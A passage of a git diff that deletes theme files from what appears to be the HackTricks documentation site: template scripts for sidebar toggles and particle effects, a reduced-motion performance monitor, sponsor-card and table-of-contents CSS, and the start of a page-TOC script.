-                    updateRightTogglePosition();
-                }
-
-                window.addEventListener('resize', updatePositions);
-                window.addEventListener('load', updatePositions);
-                rightToggle.addEventListener('click', function () {
-                    window.setTimeout(updateRightTogglePosition, 0);
-                });
-                if (sidebarAnchor) {
-                    sidebarAnchor.addEventListener('change', function () {
-                        window.setTimeout(updateLeftTogglePosition, 260);
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-                document.addEventListener('transitionend', function (event) {
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-                        updateRightTogglePosition();
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-                    if (event.target === sidebar || event.target === leftToggle || (sidebar && sidebar.contains(event.target))) {
-                        updateLeftTogglePosition();
-                    }
-                });
-                updatePositions();
-            })();
-        </script>
-
-        <!-- Custom JS scripts -->
-        {{#each additional_js}}
-        <script src="{{ ../path_to_root }}{{this}}"></script>
-        {{/each}}
-
-        <script>
-            (function initParticles() {
-                var container = document.querySelector('.particles');
-                if (!container) { return; }
-                if (
-                    document.documentElement.classList.contains('motion-reduced') ||
-                    (window.__hacktricksMotion && window.__hacktricksMotion.shouldReduceMotion())
-                ) {
-                    return;
-                }
-                var count = 28;
-                for (var i = 0; i < count; i++) {
-                    var particle = document.createElement('span');
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-                    var size = 2 + Math.random() * 3;
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-                    particle.style.width = size + 'px';
-                    particle.style.height = size + 'px';
-                    particle.style.left = (Math.random() * 100) + '%';
-                    particle.style.animationDuration = duration + 's';
-                    particle.style.animationDelay = delay + 's';
-                    particle.style.setProperty('--particle-x', (-12 + Math.random() * 24).toFixed(2) + 'vw');
-                    container.appendChild(particle);
-                }
-            })();
-        </script>
-
-
-        {{#if is_print}}
-        {{#if mathjax_support}}
-        <script>
-        window.addEventListener('load', function() {
-            MathJax.Hub.Register.StartupHook('End', function() {
-                window.setTimeout(window.print, 100);
-            });
-        });
-        </script>
-        {{else}}
-        <script>
-        window.addEventListener('load', function() {
-            window.setTimeout(window.print, 100);
-        });
-        </script>
-        {{/if}}
-        {{/if}}
-
-    </div>
-    </body>
-</html>
diff --git a/theme/motion.js b/theme/motion.js
deleted file mode 100644
index 0487d498c1b..00000000000
--- a/theme/motion.js
+++ /dev/null
@@ -1,196 +0,0 @@
-(function () {
-  var docEl = document.documentElement;
-  var REDUCED_CLASS = "motion-reduced";
-  var PAUSED_CLASS = "motion-paused";
-  var motionState = {
-    mode: "normal",
-    reason: "default"
-  };
-
-  function setMode(mode, reason) {
-    var nextMode = mode === "reduced" ? "reduced" : "normal";
-    if (motionState.mode === nextMode && motionState.reason === reason) {
-      return;
-    }
-
-    motionState.mode = nextMode;
-    motionState.reason = reason || motionState.reason;
-    docEl.classList.toggle(REDUCED_CLASS, nextMode === "reduced");
-    docEl.dataset.motionMode = nextMode;
-    window.__hacktricksMotion = {
-      mode: motionState.mode,
-      reason: motionState.reason,
-      shouldReduceMotion: function () {
-        return motionState.mode === "reduced";
-      }
-    };
-
-    document.dispatchEvent(
-      new CustomEvent("hacktricks:motionchange", {
-        detail: {
-          mode: motionState.mode,
-          reason: motionState.reason
-        }
-      })
-    );
-  }
-
-  function updateVisibilityState() {
-    docEl.classList.toggle(PAUSED_CLASS, document.visibilityState === "hidden");
-  }
-
-  function getMediaQuery() {
-    if (typeof window.matchMedia !== "function") {
-      return null;
-    }
-    return window.matchMedia("(prefers-reduced-motion: reduce)");
-  }
-
-  function getDeviceHints() {
-    var hints = {
-      lowCapability: false,
-      hardwareConcurrency: null,
-      deviceMemory: null
-    };
-
-    if (typeof navigator.hardwareConcurrency === "number") {
-      hints.hardwareConcurrency = navigator.hardwareConcurrency;
-    }
-
-    if (typeof navigator.deviceMemory === "number") {
-      hints.deviceMemory = navigator.deviceMemory;
-    }
-
-    hints.lowCapability =
-      (hints.hardwareConcurrency !== null && hints.hardwareConcurrency <= 4) ||
-      (hints.deviceMemory !== null && hints.deviceMemory <= 4);
-
-    return hints;
-  }
-
-  function monitorAnimationHealth() {
-    if (
-      document.visibilityState === "hidden" ||
-      typeof window.requestAnimationFrame !== "function"
-    ) {
-      return;
-    }
-
-    var mediaQuery = getMediaQuery();
-    if (mediaQuery && mediaQuery.matches) {
-      setMode("reduced", "prefers-reduced-motion");
-      return;
-    }
-
-    var hints = getDeviceHints();
-    var perfState = {
-      frameCount: 0,
-      firstFrameAt: 0,
-      longTaskTime: 0,
-      worstFrameGap: 0
-    };
-
-    var observer = null;
-    if (typeof PerformanceObserver === "function") {
-      try {
-        observer = new PerformanceObserver(function (list) {
-          list.getEntries().forEach(function (entry) {
-            perfState.longTaskTime += entry.duration;
-          });
-        });
-        observer.observe({ type: "longtask", buffered: true });
-      } catch (error) {
-        observer = null;
-      }
-    }
-
-    var targetDuration = 2500;
-    var fpsThreshold = hints.lowCapability ? 50 : 42;
-    var longTaskThreshold = hints.lowCapability ? 160 : 240;
-    var frameGapThreshold = hints.lowCapability ? 90 : 120;
-    var lastFrameAt = 0;
-
-    function finish(now) {
-      if (observer) {
-        observer.disconnect();
-      }
-
-      var elapsed = now - perfState.firstFrameAt;
-      if (elapsed <= 0) {
-        return;
-      }
-
-      var fps = (perfState.frameCount * 1000) / elapsed;
-      var shouldReduce =
-        fps < fpsThreshold ||
-        perfState.longTaskTime > longTaskThreshold ||
-        perfState.worstFrameGap > frameGapThreshold;
-
-      if (shouldReduce) {
-        setMode("reduced", "runtime-performance");
-      }
-    }
-
-    function sample(now) {
-      if (!perfState.firstFrameAt) {
-        perfState.firstFrameAt = now;
-      }
-
-      perfState.frameCount += 1;
-      if (lastFrameAt) {
-        perfState.worstFrameGap = Math.max(
-          perfState.worstFrameGap,
-          now - lastFrameAt
-        );
-      }
-      lastFrameAt = now;
-
-      if (now - perfState.firstFrameAt >= targetDuration) {
-        finish(now);
-        return;
-      }
-
-      window.requestAnimationFrame(sample);
-    }
-
-    window.requestAnimationFrame(sample);
-  }
-
-  var mediaQuery = getMediaQuery();
-  if (mediaQuery && mediaQuery.matches) {
-    setMode("reduced", "prefers-reduced-motion");
-  } else {
-    setMode("normal", "default");
-    if (document.readyState === "complete") {
-      window.setTimeout(monitorAnimationHealth, 1200);
-    } else {
-      window.addEventListener(
-        "load",
-        function () {
-          window.setTimeout(monitorAnimationHealth, 1200);
-        },
-        { once: true }
-      );
-    }
-  }
-
-  if (mediaQuery) {
-    var handlePreferenceChange = function (event) {
-      if (event.matches) {
-        setMode("reduced", "prefers-reduced-motion");
-      } else if (motionState.reason === "prefers-reduced-motion") {
-        setMode("normal", "preference-restored");
-        window.setTimeout(monitorAnimationHealth, 600);
-      }
-    };
-
-    if (typeof mediaQuery.addEventListener === "function") {
-      mediaQuery.addEventListener("change", handlePreferenceChange);
-    } else if (typeof mediaQuery.addListener === "function") {
-      mediaQuery.addListener(handlePreferenceChange);
-    }
-  }
-
-  updateVisibilityState();
-  document.addEventListener("visibilitychange", updateVisibilityState);
-})();
diff --git a/theme/pagetoc.css b/theme/pagetoc.css
deleted file mode 100644
index dc6124023c0..00000000000
--- a/theme/pagetoc.css
+++ /dev/null
@@ -1,928 +0,0 @@
-@media only screen and (max-width:799px) {
-    .sidetoc {
-        display: none !important;
-    }
-    .topsponsor-bsa {
-        margin-top: 25px;
-        margin-bottom: 25px;
-        background-color: var(--bg);
-        border: 1px solid var(--table-border-color);
-        border-radius: 8px;
-        padding: 5px;
-        display: none; /*changed via JS once ad is loaded*/
-        overflow: hidden;
-    }
-    .bottomsponsor-wrapper {
-        margin-top: 25px;
-    }
-    .bottomsponsor,
-    .bottomsponsor-bsa {
-        margin-top: 25px;
-        background-color: var(--bg);
-        border: 1px solid var(--table-border-color);
-        border-radius: 8px;
-        padding: 5px;
-        display: none; /*changed via JS once ad is loaded*/
-        text-decoration: none !important;
-    }
-    .bottomsponsor {
-        flex-direction: column;
-    }
-    .bottomsponsor-bsa {
-        overflow: hidden;
-    }
-    .bottomsponsor img {
-        height: auto;
-        width: 40%;
-        padding: 10px;        
-        transition-property: all;
-        transition-timing-function: cubic-bezier(.4,0,.2,1);
-        transition-duration: .3s;
-    }
-    .bottomsponsor .bottomsponsor-title{
-        margin-top: 5px;
-        margin-bottom: 5px;
-        margin-left: 15px;
-        margin-right: 15px;
-        font-weight: 800;
-        font-size: 2rem;
-        color: var(--sponsor-fg);
-    }
-    .bottomsponsor .bottomsponsor-description{
-        display:block;
-        margin-top: 5px;
-        margin-bottom: 15px;
-        margin-left: 15px;
-        margin-right: 15px;
-        color: var(--sponsor-fg);        
-        transition-property: all;
-        transition-timing-function: cubic-bezier(.4,0,.2,1);
-        transition-duration: .3s;
-    }
-    .bottomsponsor .bottomsponsor-cta{
-        margin-top: auto;
-        margin-bottom: 10px;
-        margin-left: 20px;
-        margin-right: 20px;
-        text-align: center;
-        padding: 7px;
-        border-radius: 8px;
-        background-color: var(--fg);
-        color: var(--bg);
-    }
-}
-
-@media only screen and (min-width:800px) {
-    main {
-        position: relative;
-    }
-    .topsponsor-bsa {
-        margin: 0 auto 32px;
-        width: min(100%, 760px);
-        background-color: transparent;
-        border: 1px solid color-mix(in srgb, var(--table-border-color) 70%, transparent);
-        border-radius: 8px;
-        padding: 12px;
-        display: none; /*changed via JS once ad is loaded*/
-        overflow: hidden;
-        backdrop-filter: blur(6px);
-    }
-    .sidetoc {
-        width: 250px;
-        margin-top: 25px;
-        background-color: transparent;
-        position: relative;
-    }
-    .sidetoc-wrapper {
-        position: fixed;
-        width: 250px;
-        height: calc(100vh - var(--menu-bar-height)  - 50px * 2);
-        overflow: auto;
-        display: flex;
-        flex-direction: column;
-        gap:14px;
-        background-color: transparent;
-    }
-    .pagetoc {
-        max-height: 48%;
-        overflow: auto;
-        border-left: 1px solid color-mix(in srgb, var(--table-border-color) 70%, transparent);
-        border-radius: 12px;
-        background: transparent;
-        box-shadow: none;
-        padding: 4px 4px;
-    }
-    .sidesponsor {
-        max-height: 52%;
-        height: 52%;
-        background-color: transparent;
-        border: 1px solid color-mix(in srgb, var(--table-border-color) 70%, transparent);
-        border-radius: 8px;
-        padding: 5px;
-        display: none; /*changed via JS once ad is loaded*/
-        flex-direction: column;
-        align-items: center;
-        text-decoration: none !important;
-        overflow: hidden;
-        backdrop-filter: blur(6px);
-    }
-    .sidesponsor img {
-        height: 50%;
-        max-height: 180px;
-        min-height: 110px;
-        width: auto;
-        max-width: 86%;
-        padding: 8px;
-        object-fit: contain;
-        align-self: center;
-        flex: 0 0 auto;
-        transition:
-            height .36s cubic-bezier(.22,1,.36,1),
-            width .36s cubic-bezier(.22,1,.36,1),
-            max-height .36s cubic-bezier(.22,1,.36,1),
-            min-height .36s cubic-bezier(.22,1,.36,1),
-            padding .36s cubic-bezier(.22,1,.36,1),
-            transform .36s cubic-bezier(.22,1,.36,1);
-    }
-    .sidesponsor .sponsor-title{
-        margin-top: 3px;
-        margin-bottom: 3px;
-        margin-left: 15px;
-        margin-right: 15px;
-        font-weight: 800;
-        font-size: var(--sponsor-title-font-size, clamp(1.45rem, 7.8cqw, 2rem));
-        line-height: 1.05;
-        color: var(--sponsor-fg);
-        overflow-wrap: anywhere;
-        text-align: center;
-        align-self: center;
-        flex: 0 0 auto;
-    }
-    .sidesponsor .sponsor-title.sponsor-title--long {
-        line-height: 1.02;
-    }
-    .sidesponsor .sponsor-description{
-        display: block;
-        margin-top: 0;
-        margin-bottom: 0;
-        margin-left: 15px;
-        margin-right: 15px;
-        color: var(--sponsor-fg);        
-        max-height: 0;
-        opacity: 0;
-        visibility: hidden;
-        overflow: hidden;
-        transform: translateY(5px);
-        transition:
-            max-height .44s cubic-bezier(.22,1,.36,1),
-            opacity .34s ease .08s,
-            transform .44s cubic-bezier(.22,1,.36,1),
-            visibility 0s linear .44s;
-    }
-    .sidesponsor .sponsor-cta{
-        margin-top: auto;
-        margin-bottom: 10px;
-        margin-left: 20px;
-        margin-right: 20px;
-        text-align: center;
-        padding: 7px;
-        border-radius: 8px;
-        background-color: var(--fg);
-        color: var(--bg);
-        font-weight: 800;
-    }
-    .sidesponsor-bsa {
-        max-height: 52%;
-        height: 52%;
-        background-color: transparent;
-        border: 1px solid color-mix(in srgb, var(--table-border-color) 70%, transparent);
-        border-radius: 8px;
-        padding: 5px;
-        display: none; /*changed via JS once ad is loaded*/
-        overflow: hidden;
-        backdrop-filter: blur(6px);
-    }
-    .bottomsponsor-wrapper {
-        margin-top: 32px;
-    }
-    .bottomsponsor,
-    .bottomsponsor-bsa {
-        margin: 0 auto;
-        width: min(100%, 760px);
-        background-color: transparent;
-        border: 1px solid color-mix(in srgb, var(--table-border-color) 70%, transparent);
-        border-radius: 8px;
-        padding: 12px;
-        display: none; /*changed via JS once ad is loaded*/
-        text-decoration: none !important;
-        backdrop-filter: blur(6px);
-    }
-    .bottomsponsor {
-        flex-direction: column;
-    }
-    .bottomsponsor-bsa {
-        overflow: hidden;
-    }
-    .bottomsponsor img {
-        height: auto;
-        width: 40%;
-        max-width: 240px;
-        padding: 10px;
-        transition-property: all;
-        transition-timing-function: cubic-bezier(.4,0,.2,1);
-        transition-duration: .3s;
-    }
-    .bottomsponsor .bottomsponsor-title {
-        margin-top: 5px;
-        margin-bottom: 5px;
-        margin-left: 15px;
-        margin-right: 15px;
-        font-weight: 800;
-        font-size: 2rem;
-        color: var(--sponsor-fg);
-    }
-    .bottomsponsor .bottomsponsor-description {
-        display: block;
-        margin-top: 5px;
-        margin-bottom: 15px;
-        margin-left: 15px;
-        margin-right: 15px;
-        color: var(--sponsor-fg);
-        transition-property: all;
-        transition-timing-function: cubic-bezier(.4,0,.2,1);
-        transition-duration: .3s;
-    }
-    .bottomsponsor .bottomsponsor-cta {
-        margin-top: auto;
-        margin-bottom: 10px;
-        margin-left: 20px;
-        margin-right: 20px;
-        text-align: center;
-        padding: 7px;
-        border-radius: 8px;
-        background-color: var(--fg);
-        color: var(--bg);
-    }
-
-    .sidetoc-toggle {
-        position: fixed;
-        top: calc(var(--menu-bar-height) + 90px);
-        width: 28px;
-        height: 28px;
-        border-radius: 9999px;
-        border: 1px solid color-mix(in srgb, var(--sidebar-active) 50%, var(--table-border-color));
-        background: color-mix(in srgb, var(--bg) 60%, transparent);
-        color: var(--sidebar-active);
-        display: inline-flex;
-        align-items: center;
-        justify-content: center;
-        cursor: pointer;
-        z-index: 12;
-        transition: transform 0.2s ease, background-color 0.2s ease, color 0.2s ease;
-    }
-    .sidetoc-toggle .toggle-chevron {
-        font-size: 12px;
-        font-weight: 700;
-        letter-spacing: -0.08em;
-        text-shadow: 0 0 8px color-mix(in srgb, var(--sidebar-active) 60%, transparent);
-    }
-
-    .sidetoc-toggle:hover {
-        background-color: color-mix(in srgb, var(--sidebar-active) 12%, transparent);
-        color: var(--sidebar-active);
-        transform: translateX(-2px);
-    }
-
-    html.sidetoc-hidden .sidetoc {
-        width: 0;
-        margin-top: 0;
-    }
-
-    html.sidetoc-hidden .sidetoc-wrapper {
-        display: none;
-    }
-
-    html.sidetoc-hidden .sidetoc-toggle {
-        transform: rotate(180deg);
-    }
-
-    .pagetoc a {
-        border-left: none;
-        color: color-mix(in srgb, var(--fg) 70%, var(--links)) !important;
-        display: block;
-        padding-bottom: 5px;
-        padding-top: 5px;
-        padding-left: 12px;
-        padding-right: 12px;
-        text-align: left;
-        text-decoration: none;
-        text-overflow: ellipsis;
-        line-clamp: 2;
-        -webkit-line-clamp: 2;
-        -webkit-box-orient: vertical;
-        overflow: hidden;
-        border-radius: 10px;
-        font-size: 1.35rem;
-        transition: color 0.2s ease, background-color 0.2s ease;
-    }
-    .pagetoc a:hover {
-        background: linear-gradient(90deg, color-mix(in srgb, var(--links) 16%, transparent), transparent);
-        color: color-mix(in srgb, var(--sidebar-active) 85%, var(--fg)) !important;
-    }
-    .pagetoc a.active {
-        background: linear-gradient(90deg, color-mix(in srgb, var(--links) 24%, transparent), transparent);
-        color: var(--sidebar-active) !important;
-    }
-    .pagetoc .pagetoc-H2 {
-        padding-left: 20px;
-    }
-    .pagetoc .pagetoc-H3 {
-        padding-left: 40px;
-    }
-    .pagetoc .pagetoc-H4 {
-        padding-left: 60px;
-    }
-    .pagetoc .pagetoc-H5 {
-        display: none;
-    }
-    .pagetoc .pagetoc-H6 {
-        display: none;
-    }
-}
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-.bsa-crawler-slot {
-    position: absolute;
-    width: 1px;
-    height: 1px;
-    overflow: hidden;
-    opacity: 0;
-    pointer-events: none;
-}
-
-.bsa-pageviews-slot {
-    position: absolute;
-    width: 1px;
-    height: 1px;
-    overflow: hidden;
-    opacity: 0;
-    pointer-events: none;
-}
-
-.bsa-fixedfooter-slot {
-    position: absolute;
-    width: 1px;
-    height: 1px;
-    overflow: hidden;
-    opacity: 0;
-    pointer-events: none;
-}
-
-@media only screen and (min-width: 0px) and (min-height: 0px) {
-    #bsa-zone_1773736844679-9_123456 {
-        min-height: 100px;
-    }
-
-    #bsa-zone_1773736987437-6_123456 {
-        min-height: 100px;
-    }
-
-    #bsa-zone_1773065859037-5_123456 {
-        min-height: 1px;
-    }
-
-    #bsa-zone_1770368463-7_123456 {
-        min-height: 1px;
-    }
-
-    #bsa-zone_1770367111944-8_123456 {
-        min-height: 1px;
-    }
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-    #bsa-zone_1773737041447-5_123456 {
-        min-height: 0px;
-    }
-}
-
-@media only screen and (min-width: 770px) and (min-height: 0px) {
-    #bsa-zone_1773736844679-9_123456 {
-        min-height: 90px;
-    }
-
-    #bsa-zone_1773736987437-6_123456 {
-        min-height: 280px;
-    }
-
-    #bsa-zone_1773065859037-5_123456 {
-        min-height: 1px;
-    }
-
-    #bsa-zone_1770368463-7_123456 {
-        min-height: 1px;
-    }
-
-    #bsa-zone_1770367111944-8_123456 {
-        min-height: 1px;
-    }
-}
-
-@media only screen and (min-width: 880px) and (min-height: 0px) {
-    #bsa-zone_1773737041447-5_123456 {
-        min-height: 250px;
-    }
-}
-
-@keyframes sc-spin {
-    to {
-        transform: rotate(360deg);
-    }
-}
-
-@keyframes sc-scan {
-    0% {
-        transform: translateY(-100%);
-    }
-    100% {
-        transform: translateY(440px);
-    }
-}
-
-@keyframes sc-blink {
-    0%, 100% {
-        opacity: 1;
-    }
-    50% {
-        opacity: 0.25;
-    }
-}
-
-@keyframes sc-arrow {
-    0%, 100% {
-        transform: translateX(0);
-    }
-    50% {
-        transform: translateX(4px);
-    }
-}
-
-@keyframes sc-glitch {
-    0%, 92%, 100% {
-        clip-path: inset(0 0 0 0);
-        transform: translate(0);
-    }
-    93% {
-        clip-path: inset(20% 0 40% 0);
-        transform: translate(-2px, 0);
-    }
-    95% {
-        clip-path: inset(60% 0 5% 0);
-        transform: translate(2px, 0);
-    }
-    97% {
-        clip-path: inset(10% 0 70% 0);
-        transform: translate(-1px, 0);
-    }
-}
-
-.ht-sponsor-card,
-.ht-sponsor-card * {
-    box-sizing: border-box;
-}
-
-.ht-sponsor-card {
-    --sponsor-accent: #2f7dff;
-    --sponsor-accent-2: #ff3b4e;
-    --sponsor-accent-light: #89c7ff;
-    --sponsor-rx: 0deg;
-    --sponsor-ry: 0deg;
-    --sponsor-lift: 0px;
-    --sponsor-scale: 1;
-    position: relative !important;
-    display: none;
-    isolation: isolate;
-    overflow: hidden !important;
-    border: 0 !important;
-    border-radius: 14px !important;
-    padding: 16px !important;
-    color: #eef4ff !important;
-    text-decoration: none !important;
-    cursor: pointer;
-    font-family: "Chakra Petch", sans-serif;
-    background: transparent !important;
-    box-shadow: 0 14px 32px -16px rgba(0, 0, 0, 0.85), 0 0 0 1px rgba(120, 150, 255, 0.08) !important;
-    transform: perspective(900px) rotateX(var(--sponsor-rx)) rotateY(var(--sponsor-ry)) translateY(var(--sponsor-lift)) scale(var(--sponsor-scale)) !important;
-    transform-style: preserve-3d;
-    transition: transform 0.18s cubic-bezier(.2, .7, .3, 1) !important;
-    animation: none !important;
-}
-
-.ht-sponsor-card--loaded {
-    display: grid !important;
-}
-
-.ht-sponsor-card::before {
-    content: "";
-    position: absolute;
-    inset: 1px;
-    z-index: -2;
-    border-radius: 13px;
-    background: linear-gradient(162deg, #0a1016, #0c0910);
-}
-
-.ht-sponsor-grid {
-    position: absolute;
-    inset: -1px;
-    z-index: -3;
-    border-radius: 15px;
-    overflow: hidden;
-    pointer-events: none;
-}
-
-.ht-sponsor-grid::before {
-    content: "";
-    position: absolute;
-    top: 50%;
-    left: 50%;
-    width: 640px;
-    height: 640px;
-    margin: -320px 0 0 -320px;
-    background: conic-gradient(from 0deg, transparent 0deg, var(--sponsor-accent) 58deg, transparent 128deg, var(--sponsor-accent-2) 208deg, transparent 300deg);
-    opacity: 0.5;
-    animation: sc-spin 5s linear infinite;
-}
-
-.ht-sponsor-scan {
-    position: absolute;
-    inset: 1px;
-    z-index: -1;
-    border-radius: 13px;
-    overflow: hidden;
-    pointer-events: none;
-    opacity: 0.5;
-}
-
-.ht-sponsor-scan::before {
-    content: "";
-    position: absolute;
-    left: 0;
-    right: 0;
-    height: 100px;
-    background: linear-gradient(180deg, transparent, rgba(47, 125, 255, 0.13), transparent);
-    animation: sc-scan 3.7s linear infinite;
-}
-
-.ht-sponsor-corners {
-    position: absolute;
-    inset: 1px;
-    z-index: -1;
-    border-radius: 13px;
-    pointer-events: none;
-    background: repeating-linear-gradient(0deg, transparent 0 2px, rgba(0, 0, 0, 0.22) 2px 3px);
-    mix-blend-mode: overlay;
-    opacity: 0.4;
-}
-
-.ht-sponsor-kicker {
-    grid-area: kicker;
-    justify-self: start;
-    align-self: start;
-    display: inline-flex;
-    align-items: center;
-    gap: 6px;
-    width: max-content;
-    max-width: 100%;
-    padding: 3px 8px;
-    border: 1px solid rgba(47, 125, 255, 0.34);
-    border-radius: 3px;
-    background: rgba(47, 125, 255, 0.06);
-    color: var(--sponsor-accent);
-    font-family: "JetBrains Mono", monospace;
-    font-size: 9px;
-    letter-spacing: 0.32em;
-    line-height: 1.2;
-    text-transform: uppercase;
-}
-
-.ht-sponsor-kicker::before {
-    content: "";
-    width: 6px;
-    height: 6px;
-    flex: 0 0 auto;
-    border-radius: 50%;
-    background: var(--sponsor-accent);
-    box-shadow: 0 0 8px var(--sponsor-accent);
-    animation: sc-blink 1.6s ease-in-out infinite;
-}
-
-.ht-sponsor-media {
-    position: relative;
-    display: flex;
-    flex: 0 0 auto;
-    align-items: center;
-    justify-content: center;
-    overflow: hidden;
-    border: 1px solid rgba(47, 125, 255, 0.27);
-    border-radius: 12px;
-    background: #0a1016;
-}
-
-.ht-sponsor-media img {
-    position: relative;
-    z-index: 1;
-    width: 100% !important;
-    max-width: 100% !important;
-    height: 100% !important;
-    max-height: 100% !important;
-    min-height: 0 !important;
-    padding: 0 !important;
-    object-fit: contain;
-    filter: none;
-    transform: none;
-    transition: none !important;
-}
-
-.ht-sponsor-copy {
-    min-width: 0;
-    min-height: 0;
-    display: flex;
-    flex-direction: column;
-    overflow: hidden;
-}
-
-.ht-sponsor-title {
-    display: block;
-    margin: 0 !important;
-    color: #eef4ff !important;
-    font-weight: 700 !important;
-    line-height: 1.18 !important;
-    overflow-wrap: anywhere;
-    font-size: 20px !important;
-    animation: sc-glitch 7s steps(1) infinite;
-}
-
-.ht-sponsor-description {
-    display: block !important;
-    margin: 6px 0 0 !important;
-    color: rgba(210, 222, 245, 0.68) !important;
-    font-size: 15px;
-    line-height: 1.45;
-    flex: 1 1 auto;
-    min-height: 0;
-    max-height: 100% !important;
-    opacity: 1 !important;
-    visibility: visible !important;
-    overflow: auto !important;
-    overscroll-behavior: contain;
-    padding-right: 3px;
-    transform: none !important;
-}
-
-.ht-sponsor-description strong {
-    color: #cfe0ff;
-    font-weight: 600;
-}
-
-.ht-sponsor-description em {
-    color: #ffb3bd;
-    font-style: normal;
-}
-
-.ht-sponsor-cta {
-    display: flex !important;
-    align-items: center;
-    justify-content: center;
-    gap: 9px;
-    margin: 2px 0 0 !important;
-    padding: 12px 14px !important;
-    border: 1px solid rgba(47, 125, 255, 0.34);
-    border-radius: 9px !important;
-    background: rgba(47, 125, 255, 0.07) !important;
-    color: var(--sponsor-accent) !important;
-    box-shadow: none;
-    font-family: "JetBrains Mono", monospace;
-    font-size: 13px;
-    font-weight: 700 !important;
-    letter-spacing: 0.14em;
-    line-height: 1.2;
-    text-align: center;
-    text-transform: uppercase;
-    max-width: 100%;
-    min-height: 36px;
-    flex: 0 0 auto;
-    opacity: 1 !important;
-    overflow: visible !important;
-    visibility: visible !important;
-    white-space: normal;
-    transition: none !important;
-}
-
-.ht-sponsor-cta::after {
-    content: "->";
-    display: inline-block;
-    animation: sc-arrow 1.4s ease-in-out infinite;
-}
-
-.topsponsor,
-.bottomsponsor,
-.sidesponsor {
-    --sponsor-title-font-size: initial;
-}
-
-.topsponsor,
-.bottomsponsor {
-    width: min(100%, 760px) !important;
-    min-height: 230px;
-    margin-left: auto !important;
-    margin-right: auto !important;
-    grid-template-columns: 168px minmax(0, 1fr);
-    grid-template-rows: auto minmax(0, 1fr) auto;
-    grid-template-areas:
-        "kicker kicker"
-        "media copy"
-        "cta cta";
-    align-items: start;
-    gap: 13px !important;
-}
-
-.topsponsor .ht-sponsor-copy,
-.bottomsponsor .ht-sponsor-copy {
-    grid-area: copy;
-    flex: 1;
-    text-align: left;
-}
-
-.topsponsor .ht-sponsor-media,
-.bottomsponsor .ht-sponsor-media {
-    grid-area: media;
-    width: 168px;
-    height: 136px;
-}
-
-.topsponsor .ht-sponsor-title,
-.bottomsponsor .ht-sponsor-title {
-    font-size: var(--sponsor-title-font-size, 20px) !important;
-}
-
-.topsponsor .ht-sponsor-description,
-.bottomsponsor .ht-sponsor-description {
-    font-size: 15px;
-}
-
-.topsponsor .ht-sponsor-kicker,
-.bottomsponsor .ht-sponsor-kicker {
-    grid-area: kicker;
-    justify-self: start;
-}
-
-.topsponsor .ht-sponsor-cta,
-.bottomsponsor .ht-sponsor-cta {
-    grid-area: cta;
-}
-
-.sidesponsor {
-    width: 100% !important;
-    min-height: min(360px, 52vh);
-    max-height: 52% !important;
-    height: 52% !important;
-    grid-template-columns: minmax(0, 1fr);
-    grid-template-areas:
-        "kicker"
-        "media"
-        "copy"
-        "cta";
-    grid-template-rows: auto auto minmax(0, 1fr) auto !important;
-    align-items: stretch !important;
-    align-content: start !important;
-    gap: 9px !important;
-}
-
-.sidesponsor .ht-sponsor-kicker {
-    grid-area: kicker;
-    align-self: flex-start;
-    justify-self: start;
-}
-
-.sidesponsor .ht-sponsor-media {
-    grid-area: media;
-    width: 92px;
-    height: 92px;
-    align-self: center;
-    justify-self: center;
-    margin-top: -2px;
-}
-
-.sidesponsor .ht-sponsor-copy {
-    grid-area: copy;
-    align-items: flex-start;
-    text-align: left;
-}
-
-.sidesponsor .ht-sponsor-cta {
-    grid-area: cta;
-}
-
-.sidesponsor .ht-sponsor-title {
-    font-size: var(--sponsor-title-font-size, 20px) !important;
-}
-
-.sidesponsor .ht-sponsor-description {
-    font-size: 15px;
-    line-height: 1.4;
-    flex: 1 1 auto;
-    min-height: 0;
-    max-height: 100% !important;
-    opacity: 1 !important;
-    visibility: visible !important;
-    overflow: auto !important;
-    overscroll-behavior: contain;
-    transform: none !important;
-}
-
-.sidesponsor .ht-sponsor-cta {
-    padding: 8px 10px !important;
-    font-size: 11px;
-    min-height: 36px;
-}
-
-@media only screen and (max-width: 799px) {
-    .topsponsor-bsa {
-        margin-top: 25px;
-        margin-bottom: 25px;
-    }
-
-    .topsponsor {
-        display: none;
-        margin-top: 25px !important;
-        margin-bottom: 25px !important;
-    }
-
-    .bottomsponsor,
-    .bottomsponsor-wrapper {
-        display: none !important;
-    }
-
-    .topsponsor[style*="display: flex"] {
-        display: grid !important;
-    }
-
-    .topsponsor[style*="display: grid"] {
-        display: grid !important;
-    }
-
-    .topsponsor,
-    .bottomsponsor {
-        grid-template-columns: 132px minmax(0, 1fr);
-    }
-
-    .topsponsor .ht-sponsor-media,
-    .bottomsponsor .ht-sponsor-media {
-        width: 132px;
-        height: 116px;
-    }
-}
-
-@media only screen and (min-width: 800px) {
-    .topsponsor {
-        display: none !important;
-    }
-
-    .bottomsponsor-wrapper {
-        margin-top: 32px !important;
-    }
-
-    .bottomsponsor {
-        margin-top: 0 !important;
-        margin-bottom: 0 !important;
-    }
-
-    .bottomsponsor[style*="display: flex"] {
-        display: grid !important;
-    }
-
-    .bottomsponsor[style*="display: grid"] {
-        display: grid !important;
-    }
-
-    .sidesponsor[style*="display: flex"] {
-        display: grid !important;
-    }
-
-    .sidesponsor[style*="display: grid"] {
-        display: grid !important;
-    }
-
-    .sidesponsor-bsa {
-        max-height: 52%;
-        height: 52%;
-    }
-}
-
-@media (prefers-reduced-motion: reduce) {
-    .ht-sponsor-card,
-    .ht-sponsor-card *,
-    .ht-sponsor-card::before,
-    .ht-sponsor-card::after {
-        animation-duration: 0.001ms !important;
-        animation-iteration-count: 1 !important;
-        transition-duration: 0.001ms !important;
-    }
-}
diff --git a/theme/pagetoc.js b/theme/pagetoc.js
deleted file mode 100644
index 6bb92e7f2c3..00000000000
--- a/theme/pagetoc.js
+++ /dev/null
@@ -1,82 +0,0 @@
-let scrollTimeout
-
-const listenActive = () => {
-  const elems = document.querySelector(".pagetoc").children
-  ;[...elems].forEach((el) => {
-    el.addEventListener("click", (event) => {
-      clearTimeout(scrollTimeout)
-      ;[...elems].forEach((el) => el.classList.remove("active"))
-      el.classList.add("active")
-      // Prevent scroll updates for a short period
-      scrollTimeout = setTimeout(() => {
-        scrollTimeout = null
-      }, 100) // Adjust timing as needed
-    })
-  })
-}
-
-const getPagetoc = () =>
-  document.querySelector(".pagetoc") || autoCreatePagetoc()
-
-const autoCreatePagetoc = () => {
-  const main = document.querySelector("#content > main")
-  const content = Object.assign(document.createElement("div"), {
-    className: "content-wrap",
-  })
-  content.append(...main.childNodes)
-  main.prepend(content)
-  main.insertAdjacentHTML(
-    "afterbegin",
-    '<div class="sidetoc"><nav class="pagetoc"></nav></div>'
-  )
-  return document.querySelector(".pagetoc")
-}
-
